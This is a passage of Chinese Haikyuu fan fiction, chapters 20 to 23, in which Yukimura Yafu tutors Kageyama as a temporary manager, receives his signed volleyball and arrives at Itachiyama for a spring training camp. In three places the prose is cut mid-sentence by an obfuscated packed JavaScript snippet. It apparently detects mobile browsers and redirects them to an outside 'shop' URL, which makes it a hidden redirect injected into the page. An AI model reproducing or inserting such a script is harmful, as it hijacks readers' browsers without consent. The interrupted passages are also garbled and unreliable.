“这周的最后两天，我会带着之前大家在东京见过的雪村学妹过来熟悉，大家要克制，不要吓到对方……” 于是这群一二年级的乌野队员，在“清水学姐马上就要走了”的悲伤和“雪村学妹要来排球部了”的快乐之间反复横跳，最终选择了边哭边笑。 田中&西谷：啊啊啊啊雪村学妹要当新经理吗？可是清水学姐我们不舍得你呜呜呜呜！ 橘子小狗&山口忠：就不能同时拥有三个经理吗？ 月岛萤：…… 而影山飞雄抱着球在角落里傻笑。 一天后。 “但是有一点，我想和雪村同学你确认一下，”办公室里，武田一铁推了推眼镜，看着雪村夜芙严肃地说道：“雪村同学你其实……并不是乌野的新生吧？” “据我所知，你是东京井闼山学院的下一届新生。” “所以，为什么会选择接受邀请，成为乌野的临时经理呢？” 武田老师打开着的电脑页面上，显示着井闼山学院几天前刚公布的新生名单，而雪村夜芙的名字赫然在名单的第一页。 雪村夜芙并不觉得惊讶，坦然地点了点头，“是，我确实是井闼山的新生。但是请武田老师放心，我也确实是自愿作为乌野的排球部经理准备去帮忙合宿的。” “以志愿者的身份冒昧地加入其中，希望武田老师不要介意。” 武田一铁连连摆手，说着：“当然不会，是我们那些不省心的孩子要拜托雪村你费心了……” 之所以选择问出口，是因为这样优秀的女孩子主动要来帮忙，让他觉得有些不可思议。 雪村夜芙挂上了礼貌的笑容，武田一铁也完全不好意思再追问理由了。 “那么，清水学姐还在等我，我先走了。”雪村夜芙向着武田老师告辞。 “啊，嗯！有什么事的话也可以跟我说……” 雪村转身要走的时候，忽然发现了武田老师桌上的文件夹里露出了成绩单的一角。 ……排球部的大家们的成绩单。 雪村夜芙忽然想起影山飞雄在北一时候那张 33分的数学试卷，心里涌现出了不好的预感。 而且，按照乌野高中的规定，如果有学生没能通过期末考试，那么在接下去的假期中必须参与补习，直到通过补考。 也因此，武田老师也为了排球部的学习笨蛋能够顺利参加合宿费了很多心思。 “那个……武田老师，”雪村夜芙又转了回来，指着那个文件夹说着：“那是排球部的成绩单吗？” “身为排球部经理……或许，我可以了解一下他们的学习情况吗？” 武田一铁正在为此事发愁，每个学期期末的这种时候，都是他的至暗时刻。 并没有打算瞒着雪村夜芙，武田一铁沮丧地把那本文件夹递了过去，“这是他们最近一次小测验的成绩，实在是……” 令人感到无比的绝望。 面无表情地翻过前几份成绩单，雪村夜芙的目光落在了写着影山飞雄名字的成绩单上。 国文， 41。 数学， 29。 ………… 英语……16？！ 雪村夜芙皱着眉头看着这几个数字，越看越觉得匪夷所思，最终还是忍不住露出了嫌弃的表情。 除了排球以外，简直是彻彻底底的笨蛋。 20.排球天才的学习方法 “这位是雪村同学……想必大家之前已经认识过了吧？” “那么，从现在开始直到井闼山的春日合宿结束，雪村同学会以临时经理的身份入部……” 体育馆，武田一铁正式向乌野队员介绍她，但并没有提及她其实并非乌野新生的事情。 雪村感激地看了一眼武田老师，她确实并不希望以外校人的身份和大家相处。 “是！”武田老师刚说完，排球部的大家兴奋地应下，雪村夜芙就被一群亮晶晶的眼睛包围了。 影山飞雄甚至没能挤到最前面。 “啊啊啊学妹！是特地去看春高比赛的雪村学妹！” “太好了！要叫我前辈吗？要吗要吗？”日向翔阳抱着球兴奋地说着。 西谷夕一个旋转闪电刷——地挤飞了日向，站到了雪村面前：“雪村学妹你对我的心意，我已经完全感受到了……” “那我们就立刻开始这段感情——” “喂！！”影山飞雄好不容易挤进了以雪村为中心的包围圈。 “雪村她才不会跟你开始什么啊！”就算西谷是前辈，他也忍不住放下了尊重凶巴巴地打断他。 连山口都短暂地抛下了月岛凑了过来。 “我说你们，差不多就够了啊。”缘下力有些无奈地说着，但是刚刚接过队长重担的他，还是有些教训不下手。 “清水学姐说过‘不要吓到对方’这种话，你们是真的已经完全不记得了啊？” 提到清水的话，大家才安分了点。 好在雪村夜芙并没有真的被吓到，并且终于找到了说话的机会。 眨了眨眼挂上了礼貌的笑容，她的目光落在了影山飞雄身上：“很高兴再次见到大家，那接下去这段时间，还请大家多指教了……” 雪村夜芙转头看向了武田一铁，说着：“武田老师，那个……” “哦哦。”武田一铁将一直拿在手里的那本文件夹递给了她。 “那这边就交给雪村你了。”他刚才在边上观察了一会儿，发现雪村似乎应付得过来，武田就准备离开了。 雪村夜芙点了点头，“请放心。” 之前在办公室的时候，他们大概确认了一下接下去雪村的工作，然后发现在去井闼山之前，最重要的事情果然还是大家的学业问题。 于是身为临时经理的雪村夜芙入部后的第一件事，就是监督大家学习。 送走了武田老师后，雪村夜芙再次打开了文件夹。 然后脸上的笑容又扭曲了一秒——因为看到了之前被她放在第一张的影山飞雄的成绩单。 雪村夜芙落到影山飞雄身上的目光忽然就温柔不起来了，而后者在一瞬间变得不知所措。 总感觉雪村好像突然就生气了……？ “不想过多占用大家的训练时间，我就直接说了哦。”雪村夜芙的语气尽量平和。 而面前满眼期待看着她的乌野笨蛋组，还完全不知道自己即将迎来怎样的灾难。 “因为距离第三学期的期末考已经只有大约一周了，而在这之前，如果大家的成绩达不到要求通过不了考试，就会被禁止参加春日合宿。” 小乌鸦们的笑容全都僵在了脸上。 “所以，在每天下午社团活动结束后，我都会负责监督成绩还不过关的大家复习。” 雪村夜芙尽量冷静地说：“需要强调的是，如果某些人的成绩一直不理想，那么很有可能他的社团活动时间也会被取消……” 雪村口中的某些人纷纷往后退了好几步。 而影山飞雄一整个石化，看着雪村夜芙手里那本文件夹，内心反复想的只有一件事—— 他那种分数……被雪村她……看到了？！ 怎么会这样……怎么会这样……这下子全完了…… 社团活动结束以后，排球部休息室里。 除了雪村夜芙的声音以外，被留下来的笨蛋们纷纷闭紧了嘴巴埋头苦学，完全不敢吱声。 “''looking forward to your reply''这种话怎么可能放在信的开头呢？你会在没吃饭之前就说‘我吃饱了’这种话吗？” “‘food shortage''是‘食物短缺’的意思不是什么‘吃了就能变强的食物’……你是连‘shortage’和‘strong’都分不清楚吗？那你为什么不拿橄榄球当排球去打啊？” 在她面前挨训的影山飞雄气若游丝双目失神，完完全全觉得天好像已经塌了。 雪村夜芙感觉自己这辈子没被这么气过，但是有些人的英语答卷轻而易举就做到了这样的事。 用力地翻着影山崭新的英语课本，她手中记号笔画重点的力度也越来越暴躁。 “明明这些卷子的题目反反复复在考这几个点，你为什么就是记不住——” “啪！”雪村夜芙把记号笔和课本一起拍在影山飞雄面前。 影山飞雄小心翼翼抬头去看雪村，眼神里全是弱小和无助，还有忍不住露出的委屈。 “你别生气了……” 休息室外，月岛萤站在门口迟迟不走，欣赏影山飞雄挨骂的样子实在是让他身心舒畅。 “啊，真不愧是我们的‘王者’呢，挨骂这种事也无人能及嘛。” “嘻嘻，小点声啦阿月……” 等到影山飞雄终于改对了最后一题的时候，天已经完完全全暗下来了。 其他人也已经全都离开。 影山飞雄坚持送雪村夜芙回家，从乌野回去的路，她一定还不熟悉。 雪村夜芙喝着影山飞雄买给她的牛奶，忍不住抱怨道：“影山你啊，平时上课都在做什么啊？” “就算再怎么辛苦，课本新成那副样子就是完全没学啊，也太不应该了吧。” 影山飞雄回忆了一下，上英语课的时候……的确是他睡眠质量最好的一段时间了。 虽然偶尔也会被罚站，不过站着也不是不能睡。 但是被雪村知道这样的事就另当别论了，影山飞雄声音闷闷地认错：“我知道了……以后肯定不会睡过去了。” “这可是你说的啊，我可没逼你。”雪村夜芙喝光最后一口牛奶，补充道：“但是既然已经说出口了，那就一定要做到啊。” 影山飞雄郑重地点了点头。 雪村夜芙心情这才好了一点，轻笑一声后却又故意板起脸：“那我再问你一遍啊，''lookin ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006440|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' g forward to your reply''，到底要放在信的哪个位置啊？” 影山飞雄努力打起精神应对，回忆了一会儿回答道：“放在信的末尾。意思是‘我期待着你的回应’。” 雪村夜芙挑了挑眉，说：“看吧，明明是可以记住的。” “嗯……”得到了雪村的夸奖，影山飞雄不由得有些脸红。 因为只要联想到，每次给雪村发完简讯，他都会握着手机一直等她的回复这种事情——原来这句英文说的就是这个意思啊，这么去理解的话，影山就忽然完完全全记住了。 就像当初那个单词destiny一样……他干脆以后都这么记英文好了。 …… 公寓楼下，雪村夜芙和影山道别。 “那个，雪村你明天也会来吗？”影山忽然问道。 “嗯！虽然明天有北一的毕业典礼，但是典礼结束以后再赶过来乌野的话，也完全来得及。” “怎么了？”雪村夜芙问他。 “不……没什么……那、我先走了！” 影山飞雄下意识不想提前告诉她，作为礼物的“影山飞雄1号”的存在。 总感觉有些难说出口。 不过反正当做毕业礼物，明天能当面送给她，就好了。 雪村疑惑地看了一会儿影山仓皇离开的背影，心想着总不会趁她不在的时候，又想偷偷在课上睡觉吧？ 决定了，她明天典礼一结束就过去乌野看他到底有没有睡！ 心情不错的转身进入公寓，雪村没注意到楼上阳台雪村成无奈的眼神。 北川第一中学。 自从考完试以后，雪村夜芙已经很久没有这么高强度的写字了……结果面前还堆着好多张空白的明信片没有写完。 原来她人缘很好吗？雪村这么疑惑着。 同班的同学和排球部的女生也就算了，隔壁班和别的社团的明信片也收了不少。 没办法心安理得地收下，雪村只好一一回赠。 而她的校服上早就贴满了许多可爱的贴纸，大部分都写着祝贺毕业之类的话，也都是来自大家的心意。 “雪村同学！！” 同样身为毕业生的鹿目佑树兴奋地来找她。 “我留了最中间的位置给你！快帮我写点什么吧？” 雪村听到声音抬头看过去，鹿目的校服上已经夸张地用各种色笔写满了话，只有背部最中间的地方圈出了一小块圆形空白，整个人看上去仿佛是一只迷彩小鹿。 她一下子被逗得笑了出来。 “写什么啊？真的可以直接写上去吗？洗不掉的啊？” 鹿目咧嘴笑着露出虎牙，“雪村同学写的字我绝对不要洗啊！拜托拜托，写什么都可以！” “好吧。”雪村夜芙想了想问他：“对了，鹿目是确定好了去乌野吧？” 鹿目佑树点了点头，“是啊，等我去了乌野，我一定会和影山前辈一起打进全国的——” “那我写了哦。”雪村说着拿起了笔，在鹿目的背上写下那两个字——飞吧。 你也要真的飞起来啊，雪村心想着，飞起来，然后帮助那个笨蛋影山一直赢下去什么的。 21.贴纸 好不容易写完了所有的明信片，分别送到大家的手中，雪村又被拉着拍了许多毕业照，转了一圈后身上校服外套的贴纸都快要贴不下了。 毕业对于她来说，是一件期待大于遗憾的事情，所以一整天过得很快。 雪村成也参加了雪村夜芙的毕业典礼，陪着她完成了各种仪式以后，甚至还开车送她去了乌野。 乌野高中门口。 穿着贴满了贴纸的北一校服，雪村夜芙把背包留在了车里后跳下了车，留下一句“那我走了哦”，就打算关车门。 “那个……”雪村成忍不住叫住了夜芙。 公司还有很多事要忙，抽空参加完女儿的毕业典礼以后，他还要赶回去加班。 所以虽然很不想说出口，但是…… “那个叫影山飞雄的小子……今天也会送你回家的吧？”雪村成艰难地问出了口。 雪村夜芙愣了愣，随后整个人也变得有些不自然。 所以昨天影山送自己回家什么的，是被看到了啊？！ “啊、嗯！”雪村夜芙含含糊糊地应道，然后飞快岔开话题，“要来不及了，我得走了啊！” 说完，触电般关上了车门。 雪村成无奈地看了夜芙一眼，随后发动车子离开。 明知道这两个孩子可能有些太过要好了，但是妻子春日奈交代过，夜芙是个很有自己想法和分寸的女孩子，她知道自己在做些什么，也没有对他们刻意隐瞒任何事情。 所以夫妻两人还是选择不去约束她的选择。 乌野。 结束一天的课后，影山飞雄带着那颗名为“影山飞雄1号”的排球匆匆到达体育馆，结果一下子就被紧密关注着他的月岛萤发现了。 作为让他挨训的报复，月岛萤最近都很努力地抓住一切机会让影山飞雄不爽。 于是给排球取自己的名字、“影山飞雄1号”的存在，很快就在月岛的嘲笑之中在整个排球部传遍了。 月岛萤蹲下去看着那颗被影山塞在背包里的球。 因为带了很多的笔记和课本，他整个背包的拉链都快拉不上了。 “真可怜啊，‘影山飞雄 1 号’，”月岛看似在和这颗球讲话，其实当然是为了气影山飞雄本人，“不是被人丢来丢去，就是被塞在这种地方啊——” “喂！！月岛！！！”面对这种程度的暗讽，影山飞雄嘴笨到完全没有怼回去的能力，只能凶巴巴地想让月岛住口。 抬头看了影山一眼，月岛萤挑衅地继续说着，“这么大声干什么啊？是想让雪村同学发现你没在训练也没在认真复习吗？” 影山皱着眉头，张了张嘴想反驳什么，最后还是不情愿地闭上了嘴。 月岛趁胜追击，“喂喂，我们的王者最近这么乖巧了吗……” “什么乖巧啊？”刚刚赶到体育馆的雪村夜芙恰好听到了这一句。 因为毕业日的事情比她预想得要多得多，雪村还是没来得及突击检查影山飞雄有没有好好听课，但是好在赶上了他们的训练。 听到雪村的声音，月岛萤眼睁睁看着影山飞雄忽然就紧张了起来，然后把那个写着白痴话的排球藏得更里面了。 烦躁地“啧”了一声，月岛到底还是没有继续说下去。 在东京第一次见到雪村夜芙的时候，月岛就感觉到了影山这家伙对她的在意。 谁知道他要拿着这颗球做什么蠢事……他还是不要卷入其中了。 “我、我去练球了！”藏好了“影山飞雄1号”的影山本人逃回了球场。 雪村夜芙看了影山飞雄一眼，总感觉他哪里怪怪的，但是又说不上来。 暂时没有深究，雪村在球场边上的位置坐下，一边对照着课本一边替一年级的笨蛋组检查错题。 这样一来，搞不好在下学期开学前，她都要自学完高一的课程了吧。 算了……好像也不是什么坏事。 影山飞雄感觉今天托球的手感尤其得好。 因为只要一转头，就可以看到雪村坐在边上，这样子打球忽然就完全感觉不到累了。 每一颗球都精准无比，球的每一个瞬间都可以看得清清楚楚。 靠着发球，影山飞雄在队内训练赛的第一场里拿了整整 5分。 “……” 网的那边，缘下力无奈地苦笑，他虽然接替了泽村前辈队长的位置，但是接球的实力还是远远比不上他。 “别放弃啊！”西谷感觉到了缘下的力不从心，隔着网喊着：“等下我就过去和阿力你一队！” “看我把影山这小子的发球全都接住！” 影山飞雄轻轻弯了弯嘴角，带着无与伦比的自信又大力跳发了一个球。 “……” “喂！影山！打完没啊，你看我是站在场上来当摆件的吗？”日向不满地冲着他喊，“适可而止啊你——” “给我托球啊！！” “明明就是我的球啊笨蛋……”影山飞雄下意识回嘴。 结果刚骂完日向就想起雪村夜芙还坐在边上。 影山顿时有些心虚地偷看了她一眼——还好，雪村她沉浸在学习中，似乎没注意到他刚才脱口而出的那句“笨蛋”。 影山飞雄松了口气。 今天的训练也很快结束。 有了谷地仁花和雪村夜芙两人的努力，一年级笨蛋组的学习效率提高了不少。 等到日向和谷地完成学习任务回去以后，休息室就又只剩雪村和影山两个人了。 影山飞雄咬着笔杆犹豫着，身后的背包里放着那颗被月岛评价为“蠢死了”的排球。 他忽然有些不确定了。 不知道雪村她到底会不会喜欢这种礼物，要是也觉得很蠢的话—— “在想什么？”雪村不解地看了他一眼，“这道题已经看了十分钟了。这种速度是打算交白卷吗？” 影山摸着自己背包的手迅速收了回来，继续低头装作认真地看题。 结果过了两秒又抬头偷看雪村——然后被抓个正着。 “这副样子也太明显了吧，到底在隐瞒什么啊？” 雪村夜芙放下手里的课本，托着下巴好奇地看着他。 绯红一点点从脖颈向着脸颊蔓延，影山飞雄到底还是从背包里拿出了那颗球。 “这个是……我准备的毕业礼物……” 影山飞雄小心翼翼说着，一边缓缓把球递过去，一边观察着雪村的表情。 雪村夜芙接过这颗球，手腕转动着它，然后看到了上面写着的字。 看到“影山飞雄1号”那一刻，忽然间也笑了出来。 真是的，确实是排球笨蛋会做的事啊。雪村心想。 看到雪村夜芙的笑，影山飞雄手足无措到想要逃离，结果就听见雪村问他：“不解释一下吗？” “这个……是我打春高四分之一决赛时候用的排球。”影山飞雄指了指雪村手里的排球，一字一句地说着。 忽然他又有些沮丧，“虽然还是输了，但已经是我迄今为止，拿到过的最好的成绩了。” 听到这里，雪村夜芙脸上的笑意淡了下来，看着这颗球的目光带上了几分认真。 而影山飞雄还在继续说着话。 “但是以后，我还会打更多的比赛，还会有很多球的。” “等我拿到了更好的名次——春高的冠军，或者是……世界的冠军。” “我可以把它们全都送给你吗？” 排球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017118|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对影山飞雄来说是很重要很重要的东西，赢下比赛也是。 而对他意义非凡的比赛排球，他唯一想做的就是把它们都送给雪村夜芙。 虽然连他自己也还说不清为什么。 但是单细胞的思维方式相当简单，去做想做的事情就好了。 在影山飞雄这样认真的问话里，手足无措的就变成了雪村夜芙。 “可、可以吧……？” 雪村低着头看着手里的“影山飞雄1号”。 字写得丑丑的，名字也看上去很傻——明明一切都很好笑，她却莫名鼻子有些酸。 “世界冠军什么的，真是会说大话啊，”雪村努力笑着掩饰自己莫名其妙的情绪，“但是说过的话，一定要做给我看啊。” 影山飞雄听到雪村肯定的回答，不禁松了口气，嘴角也不自觉弯起，然后用力地点头。 他一定会做到的。 …… 半个小时后，伟大的未来世界冠军还在和高中数学题做着斗争。 影山飞雄好不容易写完了一道高分题，抬头想找雪村要夸奖的时候，才发现她不小心睡着了。 手臂抱着屈起的双腿，腿上放着那颗名为“影山飞雄1号”的排球。 闭着眼睛，下巴放在球上，雪村维持着这样的姿势靠着墙合上眼睛睡着了。 她的脸颊还有些微红。 今天的毕业日实在是太累了，赶来乌野以后也没有省心，甚至还自己练了会儿球。 影山飞雄不自觉放下了手里的卷子，无法自控地安静看着面前的女孩子很久。 等到休息室外传来有人经过的脚步声时，影山飞雄才惊醒，然后注意到雪村只穿着单薄的一件长袖衫。 初春的季节，还是很容易感冒的。 意识到这一点后的影山飞雄立刻站了起来，找到了雪村存放衣物的柜子。 结果一打开，那件贴满了贴纸的北一外套就落到了他的手里。 影山飞雄下意识地拿起外套去看上面的贴纸，目光一下子就被背后几张上写着的字吸引了。 贴在外套前襟和袖子这些容易被发现的地方的贴纸，大部分都是些“毕业快乐”之类的祝福。 但是……背后那些表白的贴纸也太过分了吧？！ 凭、凭什么，他们可以对雪村说这样的话？！ 无理！太无理了！ 影山飞雄抿着唇，有些不高兴地抱着雪村的外套翻来翻去，越看那几张贴纸越觉得烦躁。 他忍不住伸手，偷偷把其中几张揪了下来。 它们自己掉的。 自己不小心掉的，贴得太不牢固了所以会掉，这是有可能发生的。 影山飞雄这么想着，又揪了几张揉成团捏到了手心里。 然后最后检查了一遍，确定没有过分的话后，影山满意地把雪村的外套叠好放回柜子里。 他不是很想看见这件外套了。 走到雪村身边，影山飞雄干脆脱下自己的外套，弯下腰披到了她身上。 然后又保持着弯腰的姿势静静看了一会儿。 雪村睡着的样子……和凶巴巴教他写题的样子，还有练习排球的样子都不同，他还没有见过。 所以下意识想要看久一点。 休息室虚掩着的门外，缘下力恨自己为什么偏偏要在今天独自练接球到这么晚。 他在外面走来走去这么多遍，还故意制造出刻意的脚步声—— 结果影山飞雄那个看女孩子看傻了的臭小子，完全没有发觉到他的存在是吗？！ 缘下力无声地用头撞墙，在心里骂了影山飞雄一千遍，然后祈祷着雪村夜芙能够快一点醒过来。 他到底发现了什么啊？！ 22.宫下由纪 自从雪村夜芙来乌野之后，笨蛋组尤其是影山飞雄的学习效率直线提升了。 期末考试结束后的第三天，乌野体育馆门口，上午九点。 所有成绩都已经公布，春假正式开始。 而乌野排球部的大家也陆陆续续抵达约定的地点，等着乌养教练开上大巴车来接他们去东京。 谷地仁花背着包，手里拿着武田老师早上刚刚交给她的文件夹。 文件夹里，她翻来翻去看着全部合格了的成绩单，感动得热泪盈眶。 “及格了……居然全都及格了！”露出农民看成熟的作物般欣慰的表情，谷地简直不敢相信这样的事实。 她拿到自己答满分的卷子都没有这么激动啊！ 太好了！大家可以一个不落整整齐齐地去参加井闼山的春日合宿了！ “影山同学的英文甚至考了五十分吗？！”谷地特地拿出影山飞雄的成绩单又多看了几遍，完全被震惊了。 发生了什么医学奇迹吗？ 乌野高中门口，雪村成停好车，从后备箱替雪村夜芙取出行李箱。 交代了她几句之后，雪村成还是有些不放心，叮嘱她每天固定时间给他发简讯。 雪村夜芙乖巧地应下。 等雪村成开着车走了，雪村夜芙刚想自己伸手去拉行李箱，另一双修长的手却先一步把箱子拉到了他的身侧。 “啊，这么刚好吗？” “嗯……我在等你。” “嗯？” “我是想说……我的考试，全都通过了。” 影山飞雄故作平静地说着，而事实是昨晚收到自己考核通过的邮件的时候，他忍不住高兴了很久。 想告诉雪村，结果在Line的对话框里写了又删，直到凌晨都没发出去，又怕打扰她休息，忍不住今天很早来门口等。 “诶？不错嘛！” 雪村夜芙边往里走边说着，而影山飞雄拉着行李箱跟在她身后。 结果刚走到谷地仁花身边，雪村夜芙就听到了她对于影山英语考到50分的感慨。 “50 分？”雪村这回真的有些惊讶了，而影山略显骄傲地点了点头。 什么嘛，居然还不说出来，非要等着她自己发现！ “啊，雪村同学你来了！”谷地听到声音转过身冲到了她面前。 “真是太感谢你了！” “不敢相信光靠我自己的话，要是有几个人没通过考试掉队了会怎样啊……” 谷地仁花预想过很多遍，反正换做她肯定没办法像雪村那样对大家这么严格的，尤其是影山同学。 “啊……也不是，谷地学姐你的笔记才是帮了大忙。” 雪村有些不好意思地说着，她其实也没做什么……临近考试最后那两天，她就盯着笨蛋二人组一直一直按照笔记去复□□之看到哪个笨蛋快复习睡着了，就过去摇醒，就好了。 “大家，乌养教练说他马上到了哦。” 武田老师的声音传了过来，他从教学楼往这边走着，握着手机冲着体育馆门口的大家挥了挥手。 “好！”大家纷纷捡起放在地上的行李，乖巧排着队准备出发。 不一会儿，乌养教练摁灭了手里的香烟，吐掉了最后一口烟后，开着大巴从校门口进来，停在了离体育馆门口不远处的地方。 在车子侧边放好了行李箱，影山飞雄跟着雪村夜芙上了车，然后下意识就想坐在她边上的位置。 ——结果被缘下力一把揪住了后衣领。 “给我搞清楚状况啊，臭小子。”缘下力在他耳边咬牙切齿，用力推着他往车厢的后面走去。 他就知道会这样，所以特地走在了影山身后。 影山飞雄茫然地回头，看到了恨铁不成钢的缘下力和同样有些茫然的谷地仁花。 雪村夜芙伸手拉过谷地仁花，装作什么都不知道的样子说着，“学姐可以坐我这边，然后多讲一些经理要注意的事情给我听吗？” “啊！好、好的。我也是这么想的……” 确认大家都坐好了位置，大巴车准时启动，载着他们向着东京出发。 春日合宿，在今天开始了啊。 井闼山学院是一所让全日本的初中生都向往的学校。 一流的文化教育以及在各方面都极高的素质教育，让它不仅是希望升入重点大学的学生的选择，也吸引来了各个领域的特长生。 而在这其中，排球部对于井闼山学院而言，就只是头顶皇冠中不那么显眼的一颗罢了，但对即将开始春日合宿的大家来说却意义非凡。 下午两点。 大巴停在了井闼山学院的停车场，雪村夜芙走下车，已经远远可以看到学校高耸的建筑了。 立在学院正中央的石灰岩钟楼，边上是蓝白相间的教学楼群，再往外延伸的建筑则是用巨大透明的无数玻璃拼成的几座体育馆，以及有着宽阔跑道的操场。 早春的季节，学院背靠着的山丘上树木的枝条已经抽了新芽，一副繁花待放的样子。 一路走去，时不时有和他们一样受邀来参加各种活动的学生经过。他们穿着各个学校的校服，手里拿着书本或是球拍、画板之类的东西。 而不论是人还是建筑，又或是环境，所有的事物对雪村来说都是那么陌生，让她无比期待的同时也带上了一些紧张。 ——结果目光不小心扫到了在她身边走着的影山飞雄。 看着他刚刚睡醒有些恍惚的样子，雪村忽然又……紧张不起来了。 而且跑在他们前面乱叫的还有乌野笨蛋组的其他成员。 毕竟和学习能力刚好呈反比，笨蛋组都是队内精力最充沛的了。日向、西谷和田中他们最先跳下车，这时候已经窜出去老远了。 日向翔阳：“呜哇哇哇啊！这就是井闼山学院！” “啊！是钟楼！太酷了吧！！武田老师，为什么我们乌野不建这个啊？” “那个，”武田一铁摸着后脑勺说着，“可能是经费不够吧……” 田中龙之介用手指着另一间有着很高台阶的建筑：“这、这么大的图书馆？！这里面的书看完的话要一辈子吧？” 西谷夕：“啊？阿龙你一辈子就能看完吗？我感觉十辈子都不一定能看完啊！” 山口忠看向远处山丘：“阿月，那边的花有些已经开了哎，好漂亮。” 月岛萤：“……嗯。” “啊～是食堂！好香……教练，我们现在可以开饭了吗？” “这才几点啊……给我忍一忍啊臭小子！”乌养教练随口教训完，从口袋里掏出之前收到的邀请函，皱着眉头开始研究上面的计划表和路线图。 “好了啊，不要跑太远啊……” 缘下力头疼地看着这群难管教的野孩子，体会到了当初泽村他们的不容易。 “木下，你也别在旁边看了，去帮我把西谷叫回来啊！” “啊？我怎么可能追得上他嘛 ……” 雪村夜芙看着他们，心情也忍不住变好，对环境的陌生感在大呼小叫当中被冲淡。 能和乌野的大家一起来新学校，度过这一段不适应的时期，感觉好像很不错。 井闼山的体育馆有好几座，而专门用于排球训练的就占了其中比邻的两座，分别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035655|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是男排和女排训练的场所。 每一座体育馆里都有四个排球场，而现在男排这边的球场上已经有了在训练的球队。 井闼山学院、鸥台高校、枭谷学园、音驹高校、生川高校…… 还有一林。 那个在这一届春高之前还籍籍无名，即便不被期待却还是拿下了冠军的一林高校。 影山飞雄站在巨大的体育馆外，手里还推着雪村夜芙挂着玩偶的粉白色行李箱，脸上的神情却忽然变得无比严肃。 看着体育馆内的场景，他整个人都如临大敌。 这里面的球队都是他们的对手，不仅仅是在合宿期间的对手，更是今后真正赛场上的对手。 想要一直赢下去，他必须把他们全部都打败。 雪村夜芙看着他，从影山手里拿回自己的行李箱，然后轻轻推了他一把。 “进去吧。” 影山飞雄转头看了眼雪村夜芙，用力点了点头。 在踏进这个体育馆之后，乌野整个的队内气氛瞬间就变了。 而雪村夜芙和谷地仁花要先去确认今晚的住宿安排和晚饭安排。 毕竟答应了充当乌野的临时经理，即便她是抱着去球场上学习的目的来的，但是该承担的事情她也一定不会少做。 十分钟后。 “那么，首先感谢乌野排球部的各位同学接受我们的邀请，来参加这次的合宿。我是井闼山的助理教练之一……” 体育馆里，乌野排球部的大家整整齐齐列队，仔细听着井闼山的教练说明着合宿期间的安排。 “正式的训练从明天开始，并且这次合宿也以训练赛为主。但是比较特殊的一点是，每天每支球队的对手只有一个。你们需要在一天当中，和同一支队伍打满十场比赛，相当于打两轮决赛。” “努力在漫长的对抗中熟悉对方球队的特点，对自身做出相应的调整并找到应对方法……把每一场比赛都当作决赛一样去打——抱着这样的心态去一决胜负吧！” “是！” 这样的话，对于在春高赛中惜败给了鸥台，急于赢回来的乌野而言是最好的激励。 “那么我要说的就是这些了。乌养教练，今天剩下的时间还是由你们自行安排队内训练了。” “啊，好的……” 雪村夜芙和谷地仁花分开，完成了她那一部分工作，走在了去体育馆的路上。 路过另一座体育馆的时候，雪村夜芙忍不住停住了脚步。 井闼山的女子排球部，就是在这里训练的了。 等春假结束以后，她也会来到这里吧？ 正在出神，一个并不意外的人影出现在雪村的面前。 利落干净的齐耳短发，一身灰色的运动装，脖子上挂着蓝色的哨子。 井闼山的女排主教练，宫下由纪。 雪村夜芙在井闼山的官网以及春高的小组赛上见过她。 宫下由纪从体育馆外往里走去，从雪村夜芙身边擦肩而过。 整个人都不自觉变得紧张，雪村夜芙在她经过的那一秒下意识转身。 “教……教练！”她忍不住跟上前两步，然后这么喊道。 宫下由纪停下了脚步，转头疑惑地看向了她。 “嗯？你是在叫我吗？” 雪村夜芙呼吸急促，然后坚定地点了点头。 宫下由纪多看了两眼面前的女孩子，得出的结论是自己确实不曾见过她，于是说：“我确实是这里的教练，但应该不是你的教练。” “抱歉，我还有事，先走了。” 雪村夜芙的指甲，不自觉用力嵌入了手心。 23.一只羽毛球 “等一下……宫下教练！” 雪村夜芙回过神的时候，宫下由纪已经走出去了一段距离。 不甘心就这样放弃遇见的机会，雪村夜芙咬了咬牙追了上去。 “宫下教练，我知道这很冒昧，但……请给我两分钟。” 雪村夜芙拦在了宫下由纪面前，不停眨动的眼睛和剧烈的呼吸出卖了她试图遮掩的紧张。 宫下由纪看着面前的少女，脸上没有表现出任何的情绪，只是从上衣的口袋里拿出秒表，开始了120秒的倒计时。 雪村夜芙明白了她的意思，努力平复自己的呼吸。 “雪村夜芙，下学期入学的一年级新生。” 她的语气有一丝自己并未觉察的急切：“我想要加入排球部。我想作为主攻手上场比赛，我——” “学校，历史最高比赛成绩，助跑摸高，拦网高度。” 宫下由纪出声打断了雪村夜芙的话，拿出随身携带的笔记本，取出夹在上面的签字笔准备记录这些信息。 